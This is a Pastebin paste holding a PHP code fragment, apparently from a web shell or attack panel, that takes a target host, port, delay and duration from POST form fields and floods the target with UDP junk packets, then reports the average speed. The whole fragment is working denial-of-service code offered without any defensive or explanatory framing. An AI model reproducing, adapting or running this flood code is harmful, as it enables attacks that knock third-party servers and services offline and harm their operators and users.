Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- elseif (isset($_POST["exec_dosudp"])) {
- set_time_limit(0);
- if (!chkfunc("fsockopen")) exit("Cannot create socket");
- $target = $_POST["text"];
- $port = intval($_POST["text_port"]);
- $dly = intval($_POST["text_dly"]) * 10;
- $dur = intval($_POST["text_dur"]);
- $data = "YOU CANT HAS CUPCAKE!";
- if ($port == 0) exit("Port cannot be 0");
- if ($dur == 0) exit("Durration cannot be 0");
- $indos = true;
- $start = microtime_flt(); $chktime = 0;
- $totalpackets = 0;
- $failcount = 0;
- $junk = $data;
- $junklen = 128-strlen($data);
- for ($i = 0; $i < $junklen; $i++) $junk .= chr(rand(33,126));
- echo "Starting DoS\n";
- echo "Junk: \"$junk\"\n";
- while ($indos) {
- if ($port == 0) $port = rand(1024, 65000);
- $sock = fsockopen("udp://" . $target, $port, $errno, $errstr, 30); //30sec
- if (!$sock) {
- $failcount++;
- if ($failcount > 15) exit("Failed to connect");
- else continue;
- }
- if (chkfunc("stream_set_blocking")) @stream_set_blocking($sock, 0);
- if (chkfunc("stream_set_timeout")) @stream_set_timeout($sock, 30); //30sec
- for ($i = 0; $i < 64; $i++) $totalpackets += fwrite($sock, $junk);
- fclose($sock);
- $chktime = round(microtime_flt() - $start);
- if ($chktime > $dur) $indos = false;
- usleep($dly);
- }
- $speed = round(($totalpackets / $chktime) / 1024, 2);
- echo "DoS complete\n";
- echo "Avg speed: $speed KB/s";
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement